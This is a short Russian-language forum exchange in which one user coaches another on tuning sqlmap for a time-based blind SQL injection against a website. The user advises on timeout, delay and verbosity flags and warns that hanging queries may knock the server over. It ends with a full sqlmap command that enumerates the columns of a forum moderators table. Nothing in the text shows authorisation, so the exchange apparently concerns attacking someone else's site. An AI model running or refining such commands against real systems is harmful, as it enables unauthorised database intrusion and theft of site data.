--time-sec=10 это таймаут, попробуй
--delay=1 это слип в секундах между запросами
а вообще уровень вербозности побольше сделай
-v 4
и посмотри что сервер отвечает
-----------
судя по payload это time-based
как сам думаешь не вешают сервак твои висящие запросы в базе)? надо было как ошибки появились - попробовать зайти на сайт, доступен ли он

C:\sql>python sqlmap.py -r 3.txt -D www -T ibf_moderators --columns --time-sec=10 --random-agent --risk=3 --level=1 --delay=1 -v 3
